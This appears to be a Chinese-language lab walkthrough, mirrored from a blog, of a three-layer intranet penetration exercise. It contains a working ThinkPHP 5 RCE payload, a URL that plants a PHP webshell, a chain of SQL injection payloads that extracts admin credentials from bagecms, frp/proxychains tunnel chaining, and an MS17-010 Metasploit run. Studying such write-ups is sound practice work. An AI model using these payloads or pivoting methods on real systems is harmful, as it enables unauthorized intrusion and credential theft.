7

打穿你的内网之三层内网渗透 - 9eek

 2 years ago
source link: https://www.cnblogs.com/9eek/p/16703300.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

打穿你的内网之三层内网渗透 - 9eek - 博客园

​ 在过去的一些实战经历中发现自己内网相关的技能还比较薄弱,所以专门找了个靶场(teamssix.com)做下练习,靶场的web漏洞利用都很简单,主要训练自己内网搭代理隧道的熟练度,如果你和我一样对复杂网络下隧道搭建不熟悉的话,不妨一起看看这篇文章,希望能对你有一些帮助。

目标:拿下内网最深处主机的flag.txt 文件

​ 在互联网环境下发现一处资产 ,这里以 x.x.220.130 替代,直接访问 x.x.220.130 发现以下页面:

image-20220916204445101

​ 很明显这是一个thinkphp应用,随便指定一个路由http://x.x.220.130/index.php/?s=123,爆出thinkphp的详细版本。

image-20220916205019339

​ tp5在5.0-5.0.245.1.0-5.1.30都是存在RCE(Remote code Execution)的,这里运气很好,直接使用5.0.x路由默认兼容模式进行RCE,使用以下payload 执行id命令:



http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=id

image-20220916210423628

​ 可以看见命令执行成功。

​ 接下来直接写入一个shell ,使用php 的 file_put_contents 函数写个一句话木马:



http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=qaxnb.php&vars[1][1]=%3C?php%20@eval($_POST[%27qaxnb666%27]);?%3E

image-20220916220045835

​ 验证成功,直接使用蚁剑进行连接。

image-20220916220220616

​ 将超时时间调高,因为后续会上传文件避免超时而中断:

image-20220916220339792

连接成功:

image-20220916220554724

​ 第一层的flag就在网站根目录下面, 直接双击读取即可:

image-20220916221219266

突破边界(第一层)

​ 接上文,已经拿下第一台服务器,尝试对这台服务器进行信息收集:

image-20220916221454290

​ 拿下的这台服务器发现权限并不高仅为www,但是有惊喜的是这台机器存在双网卡,其中一张网卡(ens37)绑定了内网ip(192.168.22.131),证明这台服务器处于企业架构的DMZ(非军事区)区域,且是两个网段的边界节点,那么我们只要借助这台服务器作为跳板即可进入这家企业的内网,至少进入了192.168.22.x/24网段的内网。

22 网段信息收集

​ 既然发现了存在192.168.22.x/24 网段,所以尝试对 22 网段进行信息收集,这里使用fscan (https://github.com/shadow1ng/fscan)工具进行内网大保健.

​ 上传fscan 到服务器目录/tmp

image-20220916224528351

​ 对 192.168.22.x/24 网段进行扫描:



./fscan -h 192.168.22.1/24 -o fscan.log

​ 查看扫描结果:

image-20220916230940474

​ 发现网段内还存在192.168.22.128192.168.22.129 , 且192.168.22.128:80 存在 cms服务。

​ 接下来的目标就是拿下192.168.22.128 服务器,直接通过DMZ这台服务器因为权限太低所以不能直接用它来渗透,所以需要

以第一台服务作为跳板。

​ 先画个网络拓扑图,方便后续理解,第一台机器我们也叫它Target 1.

image-20220916233112922

​ 因为在上一步信息收集时发现192.168.22.128:80 (Target 2)存在 cms服务,有两种方式进行利用:

  1. 对 Target 2 80 端口进行端口转发。
  2. 使用反向代理,将Target 1 的网络通过vps代理出去。

​ 为了进一步对内网进行探测,这里选择第二种方式。

​ 反向代理有很多工具可以使用,frp、ew、ngrok都可以,这里使用frp方式。

​ frp存在服务端(frps)与客户端(frpc), frps需要一直保持运行,转发方式通过客户端配置文件进行确定。

image-20220917000722815

启用frp 服务端

​ 下载frps到自己的vps上,frps.ini 配置如下 :

image-20220916235528196

​ 其中 token 表示客户端进行连接的验证参数, 监听端口为17001, dashboard 为frps自带的仪表盘,方便对frps运行情况进行查看,

使用命令frps -c frps.ini 启动即可,如果想要后台运行,可以加入service或者使用nohup启动。

image-20220917001251437

​ netstat 查看对应端口在监听则证明启动成功。使用配置的dashboard端口也能成功进入。

image-20220917001450277

Target1 客户端配置

​ 将frpc 传入target1 /tmp/frp目录:

image-20220917002144422

frpc.ini 配置内容:

image-20220917002307090

其中common内容与frps.ini保持一致即可, target1客户端分别配置了socks5与http的代理方式,使用frpc -c frpc.ini 进行启动:

image-20220917002558202

在 vps 服务器端分别发现了16004与16005端口,证明代理搭建成功!

image-20220917002808301

这样就相当于打通了外部与该企业的内网,在互联网挂着vps 16004/16005的代理就能访问 Target2 所在的网段:

image-20220917003826877

进入第二层内网

​ 在上一步骤中已经搭建好了内网代理,现在进行以下测试,首先在没有使用代理时,192.168.22.128是无法访问的:

image-20220917004736229

​ 通过浏览器插件配置代理,因为浏览器不支持socks5 代理的加密认证,所以这里配置http方式

image-20220917005020203

image-20220917005042738

​ 再次访问192.168.22.128 ,成功访问,到此我们就已经访问了企业第二层内网:

image-20220917005136172

​ 虽然这里浏览器能够正常访问了,但是在渗透的过程中常常会使用安全工具进行扫描或者漏洞利用,这些工具大部分没有预留走代理的配置,或者系统的代理往往不会生效,这种情况怎么办呢?

​ 所以这时候强制代理工具就很重要了,强制代理工具也有很多,这里使用proxifer,这款工具在win/mac下都有比较方便。

image-20220917005713659


### 对`Target2` 进行端口扫描

​ 虽然在之前的扫描中发现了Target2 80端口存在一个cms,但是 渗透总是照着软柿子捏,我们尝试使用nmap 对Target2 进行端口扫描,寻找其开放的端口。

​ 1. 首先需要配置Proxifer ,先配置代理服务器

image-20220917010121482

image-20220917010328935
  1. 需要配置代理规则,按照下图配置:

image-20220917010414657

image-20220917010607850
  1. 使用nmap 进行扫描,注意的是socks本身也是建立在tcp基础上的,所以nmap只能以tcp全连接的方式进行扫描,即:nmap -sT 192.168.22.128 -Pn

image-20220917012102611

​ 对21、22、3306 都进行了弱口令尝试,但无解,888、8888 是宝塔的控制面板界面,尝试了宝塔之前的phpmyadmin未授权访问也无解。看样子只能对80端口下手。

image-20220917013528069

Bage cms 渗透

​ 通过查看网页底部指纹信息,知道这是一个bage cms搭建的网站,而且从时间上来看有些老旧。

image-20220917013629453

​ 通过在网上寻找bage cms的利用点发现均为一些任意文件读取或者xss等后管的漏洞利用,虽然通过路径扫描找到了后台地址:http://192.168.22.128/index.php?r=admini/public/login

image-20220917015212401

​ 但并没有弱口令,而且因为有验证码 所以也没法爆破,这个时候就茫然了,完全拿不下。

​ 但总得抓个包先看看吧,联想到之前某活动,有个巨佬通过注释找到利用点拿到shell的场景,我这次也留意了注释的内容,刺激的是果然在注释里面有提示!

image-20220917020009443

sql手工注入一把梭

​ 访问提示的地址http://192.168.22.128/index.php?r=vul&keyword=1

image-20220917020131063

​ 加上单引号,典型的mysql报错注入:

image-20220917020513716

​ 所以使用报错注入注出后管用户名和密码就好(中途发现报错注入显示的字符长度有限制,后面转成了联合注入),细节就不完整放了,很基础,贴下过程中的payload:



-- 数据库 -- bagecms 1'/**/and/**/updatexml(1,(concat(0x7e,database(),0x7e)),1)%3d'1+ -- 注用户 -- bagecms@localhost 1'/**/and/**/updatexml(1,(concat(0x7e,user(),0x7e)),1)%3d'1+ -- 注表 -- bage_ad,bage_admin,bage_admin_group,bage_admin_logger,bage_attr,bage_attr_val,bage_catalog,bage_config,bage_link,bage_page,bage_post,bage_post_2tags,bage_post_album,bage_post_comment,bage_post_tags,bage_question,bage_special,bage_upload 1'+union+select+(select+group_concat(distinct+table_name)+from+information_schema.tables+where+table_schema%3d'bagecms'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23 -- 注段 -- id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,last_login_time,login_count,status_is,create_time 1'+union+select+(select+group_concat(distinct+column_name)+from+information_schema.columns+where+table_schema%3d'bagecms'+and+table_name%3d'bage_admin'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23 -- 注用户名 -- admin 1'+union+select+(select+group_concat(distinct+username)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23 -- 注密码 -- 46f94c8de14fb36680850768ff1b7f2a (123qwe) 1'+union+select+(select+group_concat(distinct+password)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23

​ 把注入出来的md5 密码去解一下,得到(admin/123qwe):

image-20220917020613570

​ 使用注入得到的账号密码进行登录,成功登录。

image-20220917020801821

​ 后管直接把Target2 的flag给显示出来了,尝试继续深入,给这台服务上传shell,上传点存在限制,但是在模板功能模块存在直接编辑模板代码的功能,所以很简单直接把一句话随便找个文件放入就好:

image-20220917021037422

​ 尝试使用蚁剑进行连接,因为Target2 是内网机器,所以要连接shell得先给蚁剑挂代理:

image-20220917021538960

​ 其余和Target1 一样进行连接, 连接成功,至此 Target2 也被拿下。

image-20220917021515879

进入第三层内网

​ 同样的步骤,先对刚拿下的Taget2 进行信息收集:

image-20220917022156181

image-20220917022938557

发现和 Target1 类似,同样是双网卡,且能访问192.168.33.128 网段,和 Target1 不同的是不能出网,如果类比企业的话,33可能就是企业的核心生产网。

​ 再次上传fscan,对33网段进行内网大保健:

image-20220917022519342

​ 显示33网段除了Target2 之外 ,还有一台192.168.33.33Target3) ,且该主机为win7 ,fscan扫描得出存在永恒之蓝漏洞(MS17-010),所以可以再使用Target2的网络对Target3发起永恒之蓝攻击



#### 搭建双层代理链

​ 往内网越深,需要搭建的代理就越多,内网的机器往往都是不出网的,所以需要依赖DMZ的机器作为总的出入口搭建代理链。

​ 代理链搭建其实很简单,就是在Target1 上启动服务端,Target2 通过客户端连接服务端, 然后在使用代理时先让代理走target1 然后再走target2,即:

Hacker <-> VPS <-> Taget1 <-> Taget2 <-> Taget3

image-20220917023457286

​ 给Target1 运行frps 服务端,配置使用和vps相同的参数:

image-20220917025014924

image-20220917024931927

​ 上Target2 运行客户端,其余配置都一样,把server_addr 换成开启服务端的Target1ip(注意ip要是22段,不然网络不通)

image-20220917025659611

Target1 上开始监听Target2 客户端配置的代理ip时,说明配置成功。

image-20220917025630714

永恒之蓝(MS17-010)

​ 永恒之蓝这个漏洞很老了,算是复古一波,利用方式在msf里面就有,所以可以在vps上下载msf,给vps挂上代理链即可使用msf发起对Target3 的攻击。

​ 在linux上对应用进行强制代理的工具可以使用proxychains-ng

proxychains-ng

​ 在centos 上可以很方便的 yum install -y proxychains-ng 安装即可

​ 配置文件默认在/etc/proxychains.conf ,按照如下顺序配置(顺序很重要,不能乱),因为我的frps就在这台vps上,所以直接使用127.0.0.1即可:

image-20220917030603467

​ 刚刚fscan扫描结果可知192.168.33.33 开启了 139和445 端口,使用proxtchain测试下,使用也非常简单,在需要代理的命令前面加上
proxychain即可:

proxychains telnet 192.168.33.33 139

image-20220917030841465

从上图可以看到端口已经通了,这时候就可以打开msf一把梭了。

  1. 使用proxychains 启动msfconsole

image-20220917031011886
  1. 搜索ms17-010,直接使用第一个就好:

image-20220917031145221
  1. 因为Target3 是不能出网的 ,所以不能使用默认的反向payload,需要指定正向payload:

image-20220917034930845
  1. 设置目标参数信息

image-20220917031633546
  1. exploit !!!

image-20220917034952215

拿到Taget3 最高权限!尝试去读取flag

image-20220917032034516

拿到flag!

image-20220917032101961

image-20220917035458130

​ 到这里已经拿到了第三层的内网主机最高权限,fscan扫描也没有其他主机信息,可以确认这次就基本打穿了。

image-20220917035557398

​ 回顾一下,本次渗透总共通过三个边界节点的漏洞利用成功拿下身处最内网的Target3,分别通过TP5、Bage cms、永恒之蓝作为漏洞利用点,借助frp 工具搭建代理链实现对内网的访问。其实整个过程还是很简单的,并没有涉及到域相关的内容,后续有机会再分享。

欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!

__EOF__


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK